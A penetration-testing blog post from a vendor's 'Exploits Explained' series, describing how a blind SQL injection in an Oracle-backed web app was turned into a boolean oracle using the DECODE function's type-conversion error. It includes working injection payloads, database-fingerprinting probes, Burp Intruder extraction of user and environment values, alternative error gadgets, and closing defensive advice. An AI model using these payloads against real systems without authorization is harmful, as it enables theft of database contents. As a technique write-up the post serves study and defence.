Turning Blind Error-Based SQL Injection into Exploitable Boolean One — Part 4: Oracle
This post documents a blind SQL injection against an Oracle backend where standard boolean, time-based, UNION and out-of-band techniques did not produce a usable extraction channel on this target. The solution was to use the DECODE function, which converts its return value to the data type of its first result. Put a number in the match branch and a non-numeric string in the default branch, and the false condition forces a conversion error while the true condition runs cleanly. That error/success difference becomes a boolean oracle for character-by-character extraction.
Technical Summary
Exploits Explained
An SRT researcher identified a blind SQL injection vulnerability in an authenticated GET parameter backed by an Oracle database. Standard boolean-based, time-based, UNION-based, and out-of-band extraction techniques all failed to produce a usable data channel on this target.
The researcher instead exploited Oracle's DECODE function, which converts its return value to the data type of its first result, forcing a type-conversion error on a false condition and clean execution on a true one. That error-versus-success difference served as a reliable boolean oracle, enabling full character-by-character extraction of the database user, schema, and environment values through Burp Intruder.
Welcome to the fourth installment of my series: Part 1: MSSQL, Part 2: MySQL, and Part 3: PostgreSQL. After MSSQL, MySQL and PostgreSQL, it is time for the last of the big four: Oracle.
The situation was the same one I keep running into:
- Time-based payloads produced no measurable delay.
- The responses never contained any data that could be turned into a standard boolean-based injection.
- Out-of-band attempts never reached my listener.
- No working UNION payload could be built.
Out of the four databases in this series, Oracle turned out to have the cleanest gadget of all. It hides inside a function that most people only ever see in reporting queries.
Recognizing the Injection Point
The vulnerable parameter was a GET parameter on an authenticated page, so the workflow was simple: log in with any user, go to the URL directly and send payloads one by one.
Quote parity gave the first clue:
Payload: x' -> Response: Error
Payload: x'' -> Response: Success
Payload: x''' -> Response: Error
Payload: x'''' -> Response: Success Here, Success means HTTP 200 and Error means HTTP 500. That was the entire signal.
The HTTP 200 responses were not useful on their own. The response body came back structurally complete but completely empty of data, and no payload I tried, including the usual OR ‘1’=’1 variations, ever populated a single row into it.
No injected condition executed until I closed a parenthesis immediately after the quote and rebalanced the tail of the query. The skeleton that worked was:
x') AND <CONDITION> AND '1'='1 Every payload below uses this same skeleton. The prefix and suffix are specific to this target; the reusable part is the Oracle expression placed in the middle.
Identifying Oracle as the Backend Database
Before crafting the error gadget, I needed to identify the database engine.
A bare scalar such as SYS_CONTEXT(‘USERENV’,’SESSION_USER’) or DECODE(1,1,1,0) cannot simply be dropped into this AND <CONDITION> position. The injected expression has to be a condition, so I wrote each probe as a comparison or null test.
Probes used to rule other engines out:
Payload: IF(1=1,1,0)=1 -> Response: Error
Payload: IIF(1=1,1,0)=1 -> Response: Error
Payload: version() IS NOT NULL -> Response: Error
Payload: current_schema() IS NOT NULL -> Response: Error
Payload: sqlite_version() IS NOT NULL -> Response: Error Probes that pointed at Oracle:
Payload: (SELECT 1 FROM DUAL)=1 -> Response: Success
Payload: SYS_CONTEXT('USERENV','SESSION_USER') IS NOT NULL -> Response: Success
Payload: DECODE(1,1,1,0)=1 -> Response: Success
Payload: ROWNUM=1 -> Response: Success The FROM DUAL probe should not be treated as decisive by itself because MySQL also accepts FROM DUAL. The successful SYS_CONTEXT and DECODE probes, combined with the errors from version() and the other engine-specific functions, were the stronger indication that the backend belonged to the Oracle family.
Negative probes are supporting evidence rather than proof. A WAF rule, SQL translation layer, middleware rewrite or the surrounding query context can make a valid engine-specific expression fail before the database evaluates it.
Common SQL Injection Methods That Did Not Work on This Target
Several obvious routes were closed off in the original test:
- Standard Boolean: Both 1=1 and 1=2 returned HTTP 200 with identical response bodies. Since the body was empty either way, there was nothing for the condition to change.
- Time-Based: The payloads were accepted without an immediate error, but no measurable delay appeared in the response.
- Out-of-Band: The payloads were also accepted without an immediate error, but nothing reached my listener.
- UNION: Every UNION payload I tried returned HTTP 500. I never built a working one.
These are observations about this target, not limitations of Oracle as a database. The same techniques may work on another Oracle application depending on the query structure, database version, privileges, network controls and application error handling.
The time-based route deserves a note because the usual shorthand is wrong. DBMS_LOCK.SLEEP and DBMS_SESSION.SLEEP are procedures rather than scalar functions, so they cannot be inserted directly as expressions inside a WHERE condition. A SQL-callable candidate is DBMS_PIPE.RECEIVE_MESSAGE, which returns a value that can be compared inside the condition.
For OOB testing, common Oracle primitives include UTL_HTTP.REQUEST, UTL_INADDR.GET_HOST_ADDRESS, DBMS_LDAP.INIT and HTTPURITYPE(…).GETCLOB(). Network ACLs and ordinary outbound filtering can both prevent a callback, and from outside the application those two causes can look identical.
So there was only one path left, the same one as in the first three parts: build an error-based blind primitive.
The Breakthrough: DECODE Converts to the Type of Its First Result
DECODE is Oracle’s compact conditional, similar to a simple CASE expression. It compares an expression against each search value in order, returns the matching result, and falls through to the default if nothing matches:
DECODE(expression, search, result [, search, result ...] [, default]) The rule that turns it into an error gadget is easy to skim past. Oracle documents that the return value is converted to the same data type as the first result.
If the first result is a number and the default is a non-numeric string:
- The match branch returns a number, so the query runs cleanly.
- The no-match branch returns the string, Oracle tries to convert it into a number, and the query errors.
That gives exactly the two outcomes I needed:
x') AND DECODE(SUBSTR(USER(),1,1),'T',1,'True')=1 AND '1'='1
Response: Success — HTTP 200
x') AND DECODE(SUBSTR(USER(),1,1),'E',1,'True')=1 AND '1'='1
Response: Error — HTTP 500 This established that the first character of the current database user was T. This was the lever I needed.
Two details are easy to get wrong here. First, ‘True’ is not an Oracle boolean. It is only a deliberately non-numeric string in the false branch. Replacing it with ‘0’ destroys the signal because ‘0’ converts cleanly to a number and both branches succeed.
Second, the error is the intended result of a wrong guess. If the same payload returns an error in another environment, that alone does not show that DECODE behaves differently. It may simply mean that the guessed character did not match, including because of case. Unquoted Oracle usernames are normally stored in uppercase, while quoted usernames preserve their case.
The vulnerable application did not expose the underlying database error. All I saw was the HTTP 500 response.
A Note on USER() and Version or Environment Drift
The historical payloads above deliberately keep USER() with parentheses because that is the syntax the target accepted and the report recorded. Oracle documentation, including documentation for older releases, defines the built-in as USER without parentheses. I could not find an officially documented Oracle release in which USER() was supported.
The target nevertheless accepted USER() and evaluated the surrounding DECODE expression. That difference may have resulted from undocumented parser behaviour, a compatibility or SQL translation layer, middleware rewriting, or the surrounding query context. The original endpoint is no longer available and its exact Oracle version was not recorded, so the cause cannot be verified.
For readers reproducing the technique, only the current-user expression may need to change:
-- Historical target syntax
SUBSTR(USER(),1,1)
-- Documented Oracle syntax
SUBSTR(USER,1,1)
-- Equivalent explicit session-user form
SUBSTR(SYS_CONTEXT('USERENV','SESSION_USER'),1,1) These alternatives do not change the technique. They only adapt the current-user expression to the syntax accepted by the environment being tested.
Dumping the User, Schema and Values
For the extraction, I used Burp Intruder with the Cluster bomb attack type: the character position as the first payload set and the candidate character as the second.
x') AND DECODE(SUBSTR(USER(),1,1),'T',1,'True')=1 AND '1'='1
x') AND DECODE(SUBSTR(USER(),2,1),'A',1,'True')=1 AND '1'='1 A normal HTTP 200 response marked a matching character. HTTP 500 marked a miss.
For common unquoted Oracle identifiers, A-Z, 0-9, _, $ and # are a reasonable starting character set. Quoted identifiers preserve case and can contain a wider range, so that set should not be treated as complete.
There is also an end-of-string trap. SUBSTR past the end of a string returns NULL, which looks exactly like a wrong guess through this error oracle. That is why the reconstructed value should be confirmed with one complete equality check:
x') AND DECODE(USER(),'<EXTRACTED_USER>',1,'True')=1 AND '1'='1 The extracted username returned HTTP 200. Any other value returned HTTP 500.
Environment Data Through SYS_CONTEXT
The built-in USERENV namespace can be read through SYS_CONTEXT and placed inside the same DECODE wrapper:
x') AND DECODE(
SUBSTR(SYS_CONTEXT('USERENV','DB_NAME'),3,1),
'F',
1,
'True'
)=1 AND '1'='1
Response: Success — HTTP 200 This established that the third character of the database name was F. The complete database name was then confirmed with:
x') AND DECODE(
SYS_CONTEXT('USERENV','DB_NAME'),
'<EXTRACTED_DB_NAME>',
1,
'True'
)=1 AND '1'='1 The correct value returned HTTP 200. Any other value returned HTTP 500.
Other USERENV parameters worth extracting include:
| Parameter | Returns |
|---|---|
| SESSION_USER | User who logged in to the database |
| CURRENT_USER | Database user whose privileges are currently active |
| CURRENT_SCHEMA | Current default schema |
| DB_NAME | Database name |
| DB_UNIQUE_NAME | Unique database name |
| CON_NAME | Current container name |
| INSTANCE_NAME | Instance name |
| SERVICE_NAME | Service used by the session |
| SERVER_HOST | Hostname of the database server |
| IP_ADDRESS | IP address of the connecting client |
| HOST | Hostname of the connecting client |
| AUTHENTICATION_METHOD | How the session authenticated |
| OS_USER | Operating-system user of the client process |
| ISDBA | Whether the session authenticated with DBA privileges through the operating system or password file |
The extraction shape stays the same:
DECODE(
SUBSTR(SYS_CONTEXT('USERENV','<PARAMETER>'),<POSITION>,1),
'<GUESS>',
1,
'True'
)=1 Other Oracle Error Gadgets Worth Testing
DECODE was the gadget confirmed on this target. Other Oracle targets or versions may expose different usable error branches.
A division-by-zero branch:
(CASE WHEN <CONDITION> THEN 1 ELSE 1/0 END)=1 An explicit invalid-number conversion:
(CASE WHEN <CONDITION> THEN 1 ELSE TO_NUMBER('x') END)=1 In both patterns, the intended true branch returns 1, while the false branch raises an error. They should be treated as candidates rather than assumed replacements: database version, optimizer behaviour, query context, privileges, filtering and application error handling can all determine whether the difference remains observable.
One type-resolution trap is worth flagging. CASE return expressions must be type-compatible. Mixing a numeric true branch with an unrelated return type can make the whole expression fail before it provides a useful true/false signal.
The same applies to the earlier time-based and OOB primitives. They failed to produce a usable channel on this target, but they may work on another Oracle application with a different version, privilege set, query shape or network policy.
Comparison With the Rest of the Series
Four engines, four completely different gadgets, and the same principle every time: you do not need to see the data. You only need a way to make the database behave differently depending on a true or false condition.
| Part 1: MSSQL | Part 2: MySQL | Part 3: PostgreSQL | Part 4: Oracle | |
|---|---|---|---|---|
| Gadget | CONVERT with mismatched IIF branches | BIGINT overflow | Malformed regex in a subquery | DECODE return-type conversion |
| Database error | Type conversion failure | Arithmetic overflow | Invalid regex pattern | Return-type conversion failure, observed as HTTP 500 |
Thanks for reading. To learn more about the global community of researchers uncovering vulnerabilities like this, check out the Synack Red Team. Be sure to follow Synack and the Synack Red Team on LinkedIn for upcoming blogs in the Exploits Explained series.
Frequently Asked Questions
DECODE is Oracle’s compact conditional function, similar to a CASE expression, that compares an expression against search values and returns a matching result or a default. Oracle converts the function’s overall return value to the data type of its first result, so pairing a numeric match branch with a non-numeric default branch forces a type-conversion error whenever the injected condition is false. That error and success difference becomes a reliable true and false signal for extracting data one character at a time.
The application returned an empty response body for both true and false boolean conditions, so there was no visible difference to exploit. Time-based payloads produced no measurable delay, out-of-band callbacks never reached the researcher’s listener, and every UNION payload returned an HTTP 500 error instead of usable data. With those channels closed, an error-based blind technique was the only path left.
Parameterized queries and prepared statements remain the primary defense, since they keep user input from being interpreted as part of the SQL structure at all. Where legacy code makes that impractical, input validation combined with least-privilege database accounts limits what an attacker can extract even if an injection point exists. Regularly testing authenticated GET and POST parameters for unexpected error and success patterns, the same fingerprinting approach used here, can also help teams find these blind injection points before an attacker does.
What would 1,500
elite hackers find in
your stack?
The Synack Red Team and Sara AI Pentesting work side by side to test your environment and find vulnerabilities that matter.


